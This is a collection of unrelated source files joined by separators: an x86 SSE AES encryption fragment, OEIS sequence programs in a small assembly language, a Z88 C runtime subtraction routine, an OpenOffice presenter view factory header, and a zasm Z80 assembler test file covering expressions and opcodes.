movdqa ((GF16_logTbl-ENCODE_DATA))(%eax), %xmm2
pshufb %xmm0, %xmm2
movdqa ((GF16_sqr1-ENCODE_DATA))(%eax), %xmm4
pshufb %xmm1, %xmm4
movdqa ((GF16_logTbl-ENCODE_DATA))(%eax), %xmm3
pshufb %xmm1, %xmm3
paddb %xmm2, %xmm5
movdqa %xmm5, %xmm0
pcmpgtb %xmm7, %xmm5
psubb %xmm5, %xmm0
movdqa ((GF16_expTbl-ENCODE_DATA))(%eax), %xmm5
pshufb %xmm0, %xmm5
pxor %xmm5, %xmm4
movdqa ((GF16_invLog-ENCODE_DATA))(%eax), %xmm5
pshufb %xmm4, %xmm5
paddb %xmm5, %xmm2
paddb %xmm5, %xmm3
movdqa %xmm2, %xmm5
pcmpgtb %xmm7, %xmm2
psubb %xmm2, %xmm5
movdqa ((GF16_expTbl-ENCODE_DATA))(%eax), %xmm0
pshufb %xmm5, %xmm0
movdqa %xmm3, %xmm5
pcmpgtb %xmm7, %xmm3
psubb %xmm3, %xmm5
movdqa ((GF16_expTbl-ENCODE_DATA))(%eax), %xmm1
pshufb %xmm5, %xmm1
movdqa ((FwdAffineLO-ENCODE_DATA))(%eax), %xmm3
movdqa ((FwdAffineHI-ENCODE_DATA))(%eax), %xmm2
movdqa ((FwdAffineCnt-ENCODE_DATA))(%eax), %xmm4
pshufb %xmm0, %xmm3
pshufb %xmm1, %xmm2
pxor %xmm4, %xmm3
pxor %xmm2, %xmm3
pshufb ((FwdShiftRows-ENCODE_DATA))(%eax), %xmm3
movdqa %xmm3, %xmm1
movdqa %xmm3, %xmm2
pxor %xmm4, %xmm4
psrlw $(4), %xmm2
pand %xmm7, %xmm1
movdqa ((GF16mul_E_2x-ENCODE_DATA))(%eax), %xmm0
pshufb %xmm1, %xmm0
pand %xmm7, %xmm2
movdqa ((GF16mul_1_Cx-ENCODE_DATA))(%eax), %xmm1
pshufb %xmm2, %xmm1
pxor %xmm1, %xmm0
pshufb ((ColumnROR-ENCODE_DATA))(%eax), %xmm3
pxor %xmm3, %xmm4
pshufb ((ColumnROR-ENCODE_DATA))(%eax), %xmm3
pxor %xmm3, %xmm4
movdqa %xmm0, %xmm2
pshufb ((ColumnROR-ENCODE_DATA))(%eax), %xmm2
pxor %xmm2, %xmm0
pshufb ((ColumnROR-ENCODE_DATA))(%eax), %xmm3
pxor %xmm3, %xmm4
pxor %xmm4, %xmm0
pxor (%edx), %xmm0
add $(16), %edx
sub $(1), %ecx
jg .Lencode_roundgas_1
movdqa %xmm0, %xmm1
pand %xmm7, %xmm0
psrlw $(4), %xmm1
pand %xmm7, %xmm1
movdqa ((GF16_logTbl-ENCODE_DATA))(%eax), %xmm5
pshufb %xmm0, %xmm5
pxor %xmm1, %xmm0
movdqa ((GF16_logTbl-ENCODE_DATA))(%eax), %xmm2
pshufb %xmm0, %xmm2
movdqa ((GF16_sqr1-ENCODE_DATA))(%eax), %xmm4
pshufb %xmm1, %xmm4
movdqa ((GF16_logTbl-ENCODE_DATA))(%eax), %xmm3
pshufb %xmm1, %xmm3
paddb %xmm2, %xmm5
movdqa %xmm5, %xmm0
pcmpgtb %xmm7, %xmm5
psubb %xmm5, %xmm0
movdqa ((GF16_expTbl-ENCODE_DATA))(%eax), %xmm5
pshufb %xmm0, %xmm5
pxor %xmm5, %xmm4
movdqa ((GF16_invLog-ENCODE_DATA))(%eax), %xmm5
pshufb %xmm4, %xmm5
paddb %xmm5, %xmm2
paddb %xmm5, %xmm3
movdqa %xmm2, %xmm5
pcmpgtb %xmm7, %xmm2
psubb %xmm2, %xmm5
movdqa ((GF16_expTbl-ENCODE_DATA))(%eax), %xmm0
pshufb %xmm5, %xmm0
movdqa %xmm3, %xmm5
pcmpgtb %xmm7, %xmm3
psubb %xmm3, %xmm5
movdqa ((GF16_expTbl-ENCODE_DATA))(%eax), %xmm1
pshufb %xmm5, %xmm1
movdqa ((FwdAffineLO-ENCODE_DATA))(%eax), %xmm3
movdqa ((FwdAffineHI-ENCODE_DATA))(%eax), %xmm2
movdqa ((FwdAffineCnt-ENCODE_DATA))(%eax), %xmm4
pshufb %xmm0, %xmm3
pshufb %xmm1, %xmm2
pxor %xmm4, %xmm3
pxor %xmm2, %xmm3
pshufb ((FwdShiftRows-ENCODE_DATA))(%eax), %xmm3
pxor (%edx), %xmm3
add $(16), %edx
movdqa ((TransInvLO-ENCODE_DATA))(%eax), %xmm0
movdqa ((TransInvHI-ENCODE_DATA))(%eax), %xmm2
movdqa %xmm3, %xmm1
psrlw $(4), %xmm3
pand %xmm7, %xmm1
pand %xmm7, %xmm3
pshufb %xmm1, %xmm0
pshufb %xmm3, %xmm2
pxor %xmm2, %xmm0
movdqu %xmm0, (%edi)
pop %edi
pop %esi
pop %ebp
ret
.Lfe1:
.size s8_SafeEncrypt_RIJ128, .Lfe1-(s8_SafeEncrypt_RIJ128)
|
.hello
LDA .d1
LDB .d1+1
ADD .d2
JMP .start |
; A073080: 3 appears three times, 2*3=6 appears six times, 2*6=12 appears twelve times etc.
; 3,3,3,6,6,6,6,6,6,12,12,12,12,12,12,12,12,12,12,12,12,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48
trn $0,2
mov $1,3
lpb $0,1
mul $1,2
trn $0,$1
lpe
|
; Z88 Small C+ Run Time Library
; Long functions
;
; djm 21/2/99
; The old routine is fubarred! Written a new one now..but
; I'm mystified!
SECTION code_l_sccz80
PUBLIC l_long_sub
l_long_sub:
; compute A - B
;
; dehl = B
; stack = A, ret
pop ix
ld c,l
ld b,h ; bc = B.LSW
pop hl ; hl = A.LSW
or a
sbc hl,bc
ex de,hl ; de = result.LSW
ld c,l
ld b,h ; bc = B.MSW
pop hl ; hl = A.MSW
sbc hl,bc
ex de,hl ; dehl = A - B
jp (ix)
|
; A204022: Symmetric matrix based on f(i,j) = max(2i-1, 2j-1), by antidiagonals.
; 1,3,3,5,3,5,7,5,5,7,9,7,5,7,9,11,9,7,7,9,11,13,11,9,7,9,11,13,15,13,11,9,9,11,13,15,17,15,13,11,9,11,13,15,17,19,17,15,13,11,11,13,15,17,19,21,19,17,15,13,11,13,15,17,19,21,23,21,19,17,15,13,13,15,17,19,21,23,25,23,21,19,17,15,13,15,17,19,21,23,25,27,25,23,21,19,17,15,15,17,19,21,23,25,27,29,27,25,23,21,19,17,15,17,19,21,23,25,27,29,31,29,27,25,23,21,19,17,17,19,21,23,25,27,29,31,33,31,29,27,25,23,21,19,17,19,21,23,25,27,29,31,33,35,33,31,29,27,25,23,21,19,19,21,23,25,27,29,31,33,35,37,35,33,31,29,27,25,23,21,19,21,23,25,27,29,31,33,35,37,39,37,35,33,31,29,27,25,23,21,21,23,25,27,29,31,33,35,37,39,41,39,37,35,33,31,29,27,25,23,21,23,25,27,29,31,33,35,37,39,41,43,41,39,37,35,33,31,29,27,25,23,23,25,27,29,31,33,35,37
mul $0,2
lpb $0
mov $1,$0
sub $0,2
trn $0,$2
add $3,$2
add $2,2
trn $3,$1
lpe
trn $3,$1
add $1,$3
add $1,1
|
/**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
#ifndef SDEXT_PRESENTER_VIEW_FACTORY_HXX
#define SDEXT_PRESENTER_VIEW_FACTORY_HXX
#include "PresenterController.hxx"
#include <cppuhelper/compbase1.hxx>
#include <cppuhelper/basemutex.hxx>
#include <com/sun/star/lang/XInitialization.hpp>
#include <com/sun/star/drawing/framework/XConfigurationController.hpp>
#include <com/sun/star/drawing/framework/XResourceFactory.hpp>
#include <com/sun/star/drawing/framework/XView.hpp>
#include <com/sun/star/frame/XFrame.hpp>
#include <com/sun/star/uno/XComponentContext.hpp>
#include <rtl/ref.hxx>
#include <boost/scoped_ptr.hpp>
namespace css = ::com::sun::star;
namespace sdext { namespace presenter {
class PresenterPaneContainer;
namespace {
typedef ::cppu::WeakComponentImplHelper1 <
css::drawing::framework::XResourceFactory
> PresenterViewFactoryInterfaceBase;
}
/** Base class for presenter views that allows the view factory to store
them in a cache and reuse deactivated views.
*/
class CachablePresenterView
{
public:
virtual void ActivatePresenterView (void);
/** Called when the view is put into a cache. The view must not paint
itself while being deactive.
*/
virtual void DeactivatePresenterView (void);
/** Called before the view is disposed. This gives the view the
opportunity to trigger actions that may lead to (synchronous)
callbacks that do not result in DisposedExceptions.
*/
virtual void ReleaseView (void);
protected:
bool mbIsPresenterViewActive;
CachablePresenterView (void);
};
/** Factory of the presenter screen specific views. The supported set of
views includes:
a life view of the current slide,
a static preview of the next slide,
the notes of the current slide,
a tool bar
*/
class PresenterViewFactory
: public ::cppu::BaseMutex,
public PresenterViewFactoryInterfaceBase
{
public:
static const ::rtl::OUString msCurrentSlidePreviewViewURL;
static const ::rtl::OUString msNextSlidePreviewViewURL;
static const ::rtl::OUString msNotesViewURL;
static const ::rtl::OUString msToolBarViewURL;
static const ::rtl::OUString msSlideSorterURL;
static const ::rtl::OUString msHelpViewURL;
/** Create a new instance of this class and register it as resource
factory in the drawing framework of the given controller.
This registration keeps it alive. When the drawing framework is
shut down and releases its reference to the factory then the factory
is destroyed.
*/
static css::uno::Reference<css::drawing::framework::XResourceFactory> Create (
const css::uno::Reference<css::uno::XComponentContext>& rxContext,
const css::uno::Reference<css::frame::XController>& rxController,
const ::rtl::Reference<PresenterController>& rpPresenterController);
virtual ~PresenterViewFactory (void);
static ::rtl::OUString getImplementationName_static (void);
static css::uno::Sequence< ::rtl::OUString > getSupportedServiceNames_static (void);
static css::uno::Reference<css::uno::XInterface> Create(
const css::uno::Reference<css::uno::XComponentContext>& rxContext)
SAL_THROW((css::uno::Exception));
virtual void SAL_CALL disposing (void)
throw (css::uno::RuntimeException);
// XResourceFactory
virtual css::uno::Reference<css::drawing::framework::XResource>
SAL_CALL createResource (
const css::uno::Reference<css::drawing::framework::XResourceId>& rxViewId)
throw (css::uno::RuntimeException);
virtual void SAL_CALL
releaseResource (
const css::uno::Reference<css::drawing::framework::XResource>& rxPane)
throw (css::uno::RuntimeException);
private:
css::uno::Reference<css::uno::XComponentContext> mxComponentContext;
css::uno::Reference<css::drawing::framework::XConfigurationController>
mxConfigurationController;
css::uno::WeakReference<css::frame::XController> mxControllerWeak;
::rtl::Reference<PresenterController> mpPresenterController;
typedef ::std::pair<css::uno::Reference<css::drawing::framework::XView>,
css::uno::Reference<css::drawing::framework::XPane> > ViewResourceDescriptor;
typedef ::std::map<rtl::OUString, ViewResourceDescriptor> ResourceContainer;
::boost::scoped_ptr<ResourceContainer> mpResourceCache;
PresenterViewFactory (
const css::uno::Reference<css::uno::XComponentContext>& rxContext,
const css::uno::Reference<css::frame::XController>& rxController,
const ::rtl::Reference<PresenterController>& rpPresenterController);
void Register (const css::uno::Reference<css::frame::XController>& rxController);
css::uno::Reference<css::drawing::framework::XView> CreateSlideShowView(
const css::uno::Reference<css::drawing::framework::XResourceId>& rxViewId) const;
css::uno::Reference<css::drawing::framework::XView> CreateSlidePreviewView(
const css::uno::Reference<css::drawing::framework::XResourceId>& rxViewId,
const css::uno::Reference<css::drawing::framework::XPane>& rxPane) const;
css::uno::Reference<css::drawing::framework::XView> CreateToolBarView(
const css::uno::Reference<css::drawing::framework::XResourceId>& rxViewId) const;
css::uno::Reference<css::drawing::framework::XView> CreateNotesView(
const css::uno::Reference<css::drawing::framework::XResourceId>& rxViewId,
const css::uno::Reference<css::drawing::framework::XPane>& rxPane) const;
css::uno::Reference<css::drawing::framework::XView> CreateSlideSorterView(
const css::uno::Reference<css::drawing::framework::XResourceId>& rxViewId) const;
css::uno::Reference<css::drawing::framework::XView> CreateHelpView(
const css::uno::Reference<css::drawing::framework::XResourceId>& rxViewId) const;
css::uno::Reference<css::drawing::framework::XResource> GetViewFromCache (
const css::uno::Reference<css::drawing::framework::XResourceId>& rxViewId,
const css::uno::Reference<css::drawing::framework::XPane>& rxAnchorPane) const;
css::uno::Reference<css::drawing::framework::XResource> CreateView(
const css::uno::Reference<css::drawing::framework::XResourceId>& rxViewId,
const css::uno::Reference<css::drawing::framework::XPane>& rxAnchorPane);
void ThrowIfDisposed (void) const throw (::com::sun::star::lang::DisposedException);
};
} }
#endif
|
; A064223: a(1) = 1; a(n+1) = a(n) + number of decimal digits of a(n) for n > 0.
; 1,2,3,4,5,6,7,8,9,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,103,106,109,112,115,118,121,124,127,130,133,136,139,142,145,148,151,154,157,160,163,166,169,172,175,178,181,184,187,190,193,196,199,202,205,208,211,214,217,220,223,226,229,232,235,238,241,244,247,250,253,256,259,262,265,268,271,274,277,280,283,286,289,292,295,298,301,304,307,310,313,316,319,322,325,328,331,334,337,340,343,346,349,352,355,358,361,364,367,370,373,376,379,382,385,388,391,394,397,400,403,406,409,412,415,418,421,424,427,430,433,436,439,442,445,448,451,454,457,460,463,466,469,472,475,478,481,484,487,490,493,496,499,502,505,508,511,514,517,520,523,526,529,532,535,538,541,544,547,550,553,556,559,562,565,568,571,574,577,580,583,586,589,592,595,598,601,604,607,610,613,616,619,622,625,628,631,634,637,640,643,646,649,652,655,658,661,664,667,670,673,676,679,682,685
lpb $0,1
sub $0,1
add $1,$0
add $1,1
add $3,2
mul $3,2
add $2,$3
add $3,$2
trn $0,$3
lpe
add $1,1
|
; A181890: a(n) = 8*n^2 + 14*n + 5.
; 5,27,65,119,189,275,377,495,629,779,945,1127,1325,1539,1769,2015,2277,2555,2849,3159,3485,3827,4185,4559,4949,5355,5777,6215,6669,7139,7625,8127,8645,9179,9729,10295,10877,11475,12089,12719,13365,14027,14705,15399,16109,16835,17577,18335,19109,19899,20705,21527,22365,23219,24089,24975,25877,26795,27729,28679,29645,30627,31625,32639,33669,34715,35777,36855,37949,39059,40185,41327,42485,43659,44849,46055,47277,48515,49769,51039,52325,53627,54945,56279,57629,58995,60377,61775,63189,64619,66065,67527,69005,70499,72009,73535,75077,76635,78209,79799,81405,83027,84665,86319,87989,89675,91377,93095,94829,96579,98345,100127,101925,103739,105569,107415,109277,111155,113049,114959,116885,118827,120785,122759,124749,126755,128777,130815,132869,134939,137025,139127,141245,143379,145529,147695,149877,152075,154289,156519,158765,161027,163305,165599,167909,170235,172577,174935,177309,179699,182105,184527,186965,189419,191889,194375,196877,199395,201929,204479,207045,209627,212225,214839,217469,220115,222777,225455,228149,230859,233585,236327,239085,241859,244649,247455,250277,253115,255969,258839,261725,264627,267545,270479,273429,276395,279377,282375,285389,288419,291465,294527,297605,300699,303809,306935,310077,313235,316409,319599,322805,326027,329265,332519,335789,339075,342377,345695,349029,352379,355745,359127,362525,365939,369369,372815,376277,379755,383249,386759,390285,393827,397385,400959,404549,408155,411777,415415,419069,422739,426425,430127,433845,437579,441329,445095,448877,452675,456489,460319,464165,468027,471905,475799,479709,483635,487577,491535,495509,499499
mov $1,8
mul $1,$0
add $1,14
mul $1,$0
add $1,5
|
#!/usr/local/bin/zasm --ixcbr2 -o original/
; –––––––––––––––––––––––––––––––––––––––––––––––––
; zasm test file
; –––––––––––––––––––––––––––––––––––––––––––––––––
;
; 2014-10-29 kio
; 2014-12-25 kio
; 2014-12-26 kio
; 2014-12-27 kio
; 2014-12-31 kio: jp(hl) for 8080 allowed, removed 8080regs
; tests selector:
; other selectors are from command line options:
; --ixcbr2 set n,(ix+dis),r etc.
; --ixcbxh set n,(xh) etc.
; --8080 8080 instructions only
; --z180 Z180 / HD64180 additional instructions
org 0
; –––––––––––––––––––––––––––––––––––––––––––––––––
; test expressions
; –––––––––––––––––––––––––––––––––––––––––––––––––
#local
n5 = 5
n20 equ 20
n20 equ 20
; test_fails:
!anton equ 20 30 ; operator missing
!n20 equ 30 ; label redefined
!foo equ ; value missing
db 10
db $10
db %10
db 10h
db 10b
db 0x10
db 'A'
db -123
db +123
db 0
db 2
db 0b
db 1b
db 8h
db 0b1010
db 0b10
#ASSERT 0 == 0
#aSSert -1 == -1
#assert 33 == 33
#assert 5 > 3
#assert 3 < 5
#assert 5 != 3
#assert 3 >= 3
#assert 3 <= 3
#assert 5 >= 3
#assert 3 <= 5
#assert (0 || 0) == 0
#assert (0 && 0) == 0
#assert (1 || 1) == 1
#assert (1 && 1) == 1
#assert (0 || 1) == 1
#assert (1 && 0) == 0
#assert (1 || foo) == 1
#assert (0 && foo) == 0
#assert 0 ? 0 : 1
#assert 0 ? foo : 1
#assert 1 ? 1 : foo
#assert !(1 ? 0 : 1)
#assert !(0 ? 1 : 0)
#assert 1||0 ? 1 : 0
#assert 0||1 ? 1 : 0
#assert 0&&1 ? 0 : 1
#assert 1&&0 ? 0 : 1
#assert !(0 && 0 == 0)
#assert 1 ? 1 : 1 ? 0 : 0
#assert 0 ? 0 : 1 ? 1 : 0
#assert 0 ? 0 : 0 ? 0 : 1
#assert 1 ? 1 ? 1 : 0 : 1 ? 0 : 0
#assert 1 ? 1 ? 1 : 0 : 0 ? 0 : 0
#assert 1 ? 0 ? 0 : 1 : 1 ? 0 : 0
#assert 1 ? 0 ? 0 : 1 : 0 ? 0 : 0
#assert 0 ? 1 ? 0 : 0 : 1 ? 1 : 0
#assert 0 ? 0 ? 0 : 0 : 1 ? 1 : 0
#assert 0 ? 1 ? 0 : 0 : 0 ? 0 : 1
#assert 0 ? 0 ? 0 : 0 : 0 ? 0 : 1
#assert !(1 ? 0 : 1 ? 1 : 1)
#assert !(0 ? 1 : 1 ? 0 : 1)
#assert !(1 ? 1 ? 0 : 1 : 1 ? 1 : 1)
#assert !(0 ? 1 ? 1 : 1 : 1 ? 0 : 1)
#assert !(0 ? 1 ? 1 : 1 : 0 ? 1 : 0)
#assert -n20 == -20
#assert ~0 == -1
#assert ~-1 == 0
#assert !0 == 1
#assert !77 == 0
#assert !-33 == 0
#assert !-0 == 1
#assert 3|5 == 7
#assert 3&5 == 1
#assert 3^5 == 6
#assert 3<<2 == 3*4
#assert 0xff00<<4 == 0xff000
#assert 7>>1 == 3
#assert 0xff00>>4 == 0x0ff0
#assert 3 + 5 == 8
#assert 3 + -5 == -2
#assert 3-5==-2
#assert 3- -5==8
#assert 3*5==15
#assert 3*-5==-15
#assert 3/5==0
#assert 55/3==18
#assert -55/3==-18
#assert 55/-3==-18
#assert -55/-3==18
#assert 6/3==2
#assert 3%5==3
#assert 55%3==1
#assert -55%3==-1
#assert 55%-3==1
#assert -55%-3==-1
#assert 6%3==0
#assert 3 == 3/5*5 + 3%5
#assert 55 == 55/3*3 + 55%3
#assert -55 == -55/3*3 + -55%3
#assert 55 == 55/-3*-3 + 55%-3
#assert -55 == -55/-3*-3 + -55%-3
#assert 6 == 6/3*3 + 6%3
#assert n5+n20 == 25
#assert n5+n20*2 == 45
#assert n20*2+n5 == 45
#assert 2+4-1*7 == -1
#assert -(20) == 20 * -1
#assert n20/7 == 2
#assert (n20+1)/7 == 3
#assert 1 + 2*3<<4 == 97
#assert hi(1234h) == 12h
#assert lo(1234h) == 34h
#assert opcode(nop) == 0
#assert opcode(ld a,n) == 0x3e
#assert opcode(ld bc,(nn)) == 4Bh
#assert opcode(adc hl,bc) == 4Ah
#assert opcode(rla) == 17h
#assert opcode(rr b) == 18h
#assert opcode(bit 1,(ix+dis)) == 4Eh
#assert opcode(jp nn) == 0C3h
#assert opcode(jr c,dis) == 38h
#assert opcode(rst 8) == 0CFh
#assert &1234 == 0x1234
#assert 1234h == 0x1234
#assert $1234 == 0x1234
#assert &A234 == 0xA234
#assert 0A234h == 0xA234
#assert $A234 == 0xA234
#assert &AF00 + &FE == $AFFE
#assert (0 ? &AF00 + &FE : 123) == 123
#assert (1 ? &AF00 + &FE : 123) == &AFFE
#assert $AF00 + $FE == 0xAFFE
#assert (0 ? $AF00 + $FE : 123) == 123
#assert (1 ? $AF00 + $FE : 123) == 0AFFEh
#assert 0xAF00 + 0xFE == 0xAFFE
#assert (0 ? 0xAF00 + 0xFE : 123) == 123
#assert (1 ? 0xAF00 + 0xFE : 123) == 0AFFEh
#assert 0AF00h + 0FEh == 0xAFFE
#assert (0 ? 0AF00h + 0FEh : 123) == 123
#assert (1 ? 0AF00h + 0FEh : 123) == $AFFE
#endlocal
; –––––––––––––––––––––––––––––––––––––––––––––––––
; test addressing modes
; –––––––––––––––––––––––––––––––––––––––––––––––––
#local
ld a,0
ld b,1
ld c,2
ld d,#3
ld e,4
ld h,5
ld l,6
ld hl,1234h
ld (hl),7
in a,(33)
out (33),a
rst 0
rst 1
rst 8
rst n6
jp p,nn
jp m,nn
jp pe,nn
jp po,nn
POP af
Pop bc
PoP de
pOp hl
ld sp,hl
ex hl,(sp)
ld a,(nn)
ld a,(bc)
ld a,(de)
rrca
#if !defined(_8080_)
in d,(c)
in d,(bc)
in f,(c)
in (bc)
out (c),d
out (bc),d
out (bc),0
im 1
bit 6,h
jr $
1$: jr 1$
jr z,$
jr nz,$
jr c,$
jr nc,$
ex af,af'
ld a,i
ld a,r
pop ix
pop iy
ld (ix),8
ld (ix+2),9
ld 2(ix),10
ld (iy),11
ld (iy+2),12
ld 2(iy),13
ld +3(ix),14
ld 2+3(ix),15
ld (ix-2),16
ld (ix+2-3),17
ld (ix-3+2),18
ld (ix+3*2),19
ld (ix+33h),nn
ld (ix-33h),nn
ld (ix),nn
ld 33h(ix),nn
ld -33h(ix),nn
ld (ix+33h+5),nn
#endif
nn equ 0x40
n6 equ 6
#endlocal
; –––––––––––––––––––––––––––––––––––––––––––––––––
; 8080/z80 opcodes (z80 syntax)
; –––––––––––––––––––––––––––––––––––––––––––––––––
ccf
cpl
daa
di
ei
halt
Nop
Rla
Rlca
Rra
Rrca
scf
in a,(n)
out (n),a
; ––––––––––––––––––––––––––––––––––
ADD a,(hl)
add a,a
add a,b
add a,c
add a,d
add a,e
add a,h
add a,l
ADD (hl)
add a,n
add a
add b
add n
ADC a,(hl)
adc a,a
adc a,b
adc a,c
adc a,d
adc a,e
adc a,h
adc a,l
adc a,n
adc a
adc b
adc n
sbc a,(hl)
sbc a,a
sbc a,b
sbc a,c
sbc a,d
sbc a,e
sbc a,h
sbc a,l
sbc a,n
sbc a
sbc b
sbc n
sub (HL)
sub A
sub B
sub C
sub D
sub E
sub H
sub L
sub n
sub a,A
sub a,B
sub a,n
sub a,(hl)
AND (HL)
and A
and B
and C
and D
and E
and H
and L
and n
and a,A
and a,B
and a,n
and a,(hl)
or (HL)
or A
or B
or C
or D
or E
or H
or L
or n
or a,A
or a,B
or a,n
or a,(hl)
xor (HL)
xor A
xor B
xor C
xor D
xor E
xor H
xor L
xor n
xor a,A
xor a,B
xor a,n
xor a,(hl)
cp (HL)
cp A
cp B
cp C
cp D
cp E
cp H
cp L
cp n
cp a,A
cp a,B
cp a,n
cp a,(hl)
; ––––––––––––––––––––––––––––––––––
inc (HL)
inc a
inc b
inc c
inc d
inc e
inc h
inc l
DEC (HL)
dec a
dec b
dec c
dec d
dec e
dec h
dec l
; ––––––––––––––––––––––––––––––––––
ld a,a
ld a,b
ld a,c
ld a,d
ld a,e
ld a,h
ld a,l
ld a,(hl)
ld a,n
ld b,a
ld b,b
ld b,c
ld b,d
ld b,e
ld b,h
ld b,l
ld b,(hl)
ld b,n
ld c,a
ld c,b
ld c,c
ld c,d
ld c,e
ld c,h
ld c,l
ld c,(hl)
ld c,n
ld d,a
ld d,b
ld d,c
ld d,d
ld d,e
ld d,h
ld d,l
ld d,(hl)
ld d,n
ld e,a
ld e,b
ld e,c
ld e,d
ld e,e
ld e,h
ld e,l
ld e,(hl)
ld e,n
ld h,a
ld h,b
ld h,c
ld h,d
ld h,e
ld h,h
ld h,l
ld h,(hl)
ld h,n
ld l,a
ld l,b
ld l,c
ld l,d
ld l,e
ld l,h
ld l,l
ld l,(hl)
ld l,n
ld (hl),a
ld (hl),b
ld (hl),c
ld (hl),d
ld (hl),e
ld (hl),h
ld (hl),l
ld (hl),n
LD (BC),A
ld (de),a
ld (nn),a
ld a,(bc)
ld a,(de)
ld a,(nn)
; ––––––––––––––––––––––––––––––––––
jp c,nn
jp m,nn
jp nc,nn
jp nz,nn
jp p,nn
jp pe,nn
jp po,nn
jp Z,nn
JP nn
jp (hl)
jp hl
CALL C,nn
call m,nn
call nc,nn
call nz,nn
call P,nn
call pe,nn
call po,nn
call z,nn
call nn
RET
ret c
ret m
ret nc
ret nz
ret p
ret pe
ret po
ret z
RST 00h
rst 08h
rst n16
rst 18h
rst 20h
rst 28h
rst 30h
rst $38
rst 0
rst n1
rst 2
rst 3
rst 4
rst 5
rst n6
rst 7
; ––––––––––––––––––––––––––––––––––
ex de,hl
ex hl,de
EX (sp),hl
EX hl,(sp)
POP af
pop bc
pop de
pop hl
PUSH af
push bc
push de
push hl
ld sp,hl
ld bc,nn
ld de,nn
ld hl,nn
ld sp,nn
add hl,bc
add hl,de
add hl,hl
add hl,sp
inc bc
inc de
inc hl
inc sp
dec bc
dec de
dec hl
dec sp
; ––––––––––––––––––––––––––––––––––
nn equ 0x4142
n equ 40h
; –––––––––––––––––––––––––––––––––––––––––––––––––
; Z80 / non 8080 opcodes
; –––––––––––––––––––––––––––––––––––––––––––––––––
#if !defined(_8080_)
exx
Neg
cpd
cpdr
cpir
cpi
Ind
Indr
Ini
Inir
Ldd
Lddr
Ldi
Ldir
Otdr
Otir
Outd
Outi
Rld
Rrd
Reti
Retn
djnz $
ex af,af'
IM 0
im n1
im 2
loop2:
jr loop2
JR C,loop2
jr nc,loop2
jr nz,loop2
jr z,loop2
; ––––––––––––––––––––––––––––––––––
adc hl,bc
adc hl,de
adc hl,hl
adc hl,sp
sbc hl,bc
sbc hl,de
sbc hl,hl
sbc hl,sp
; ––––––––––––––––––––––––––––––––––
IN a,(c)
in b,(bc)
in c,(c)
in d,(bc)
in e,(c)
in h,(bc)
in l,(c)
in f,(bc)
OUT (c),a
out (bc),b
out (c),c
out (bc),d
out (c),e
out (bc),h
out (c),l
out (c),0
; ––––––––––––––––––––––––––––––––––
ld a,i
ld a,r
ld i,a
ld r,a
ld (nn),bc
ld (nn),de
ld (nn),hl
ld (nn),sp
ld bc,(nn)
ld de,(nn)
ld hl,(nn)
ld sp,(nn)
; ––––––––––––––––––––––––––––––––––
bit 0,a
bit 0,b
bit 0,c
bit 0,d
bit 0,e
bit 0,h
bit 0,l
BIT 0,(hl)
bit 1,a
BIT n1,(hl)
bit 2,h
BIT 2,(hl)
bit 3,l
BIT 3,(hl)
bit 4,d
BIT 4,(hl)
bit 5,e
BIT 5,(hl)
bit 6,c
BIT n6,(hl)
bit 7,b
BIT 7,(hl)
res 0,a
res 0,b
res 0,c
res 0,d
res 0,e
res 0,h
res 0,l
res 0,(hl)
res 1,a
res 1,(hl)
res 2,h
res 2,(hl)
res 3,l
res 3,(hl)
res 4,d
res 4,(hl)
res 5,e
res 5,(hl)
res 6,c
res 6,(hl)
res 7,b
res 7,(hl)
set 0,a
set 0,b
set 0,c
set 0,d
set 0,e
set 0,h
set 0,l
set 0,(hl)
set 1,a
set n1,(hl)
set 2,h
set 2,(hl)
set 3,l
set 3,(hl)
set 4,d
set 4,(hl)
set 5,e
set 5,(hl)
set 6,c
set n6,(hl)
set 7,b
set 7,(hl)
; ––––––––––––––––––––––––––––––––––
RL (hl)
rl a
rl b
rl c
rl d
rl e
rl h
rl l
RLC (hl)
rlc a
rlc b
rlc c
rlc d
rlc e
rlc h
rlc l
RR (hl)
rr a
rr b
rr c
rr d
rr e
rr h
rr l
RRC (hl)
rrc a
rrc b
rrc c
rrc d
rrc e
rrc h
rrc l
sla (hl)
sla a
sla b
sla c
sla d
sla e
sla h
sla l
sll (hl)
sll a
sll b
sll c
sll d
sll e
sll h
sll l
sra (hl)
sra a
sra b
sra c
sra d
sra e
sra h
sra l
srl (hl)
srl a
srl b
srl c
srl d
srl e
srl h
srl l
#endif
; –––––––––––––––––––––––––––––––––––––––––––––––––
; Z80 / non 8080 opcodes
; using index register
; –––––––––––––––––––––––––––––––––––––––––––––––––
#if !defined(_8080_)
jp ix
jp iy
jp (ix)
jp (iy)
ld sp,ix
ld sp,iy
ld (nn),ix
ld (nn),iy
ld ix,(nn)
ld iy,(nn)
ld ix,nn
ld iy,nn
add ix,bc
add ix,de
add ix,ix
add ix,sp
add iy,bc
add iy,de
add iy,iy
add iy,sp
inc ix
inc iy
dec ix
dec iy
ex (sp),ix
ex ix,(sp)
ex (sp),iy
ex iy,(sp)
pop ix
pop iy
push ix
push iy
; ––––––––––––––––––––––––––––––––––
ld a,ixh ; illegal
ld a,ixl ; illegal
ld a,iyh ; illegal
ld a,iyl ; illegal
ld b,xh ; illegal
ld b,xl ; illegal
ld b,yh ; illegal
ld b,yl ; illegal
ld c,ixh ; illegal
ld c,ixl ; illegal
ld c,iyh ; illegal
ld c,iyl ; illegal
ld d,xh ; illegal
ld d,xl ; illegal
ld d,yh ; illegal
ld d,yl ; illegal
ld e,ixh ; illegal
ld e,ixl ; illegal
ld e,iyh ; illegal
ld e,iyl ; illegal
ld xh,a ; illegal
ld xh,b ; illegal
ld xh,c ; illegal
ld xh,d ; illegal
ld xh,e ; illegal
ld xh,xh ; illegal
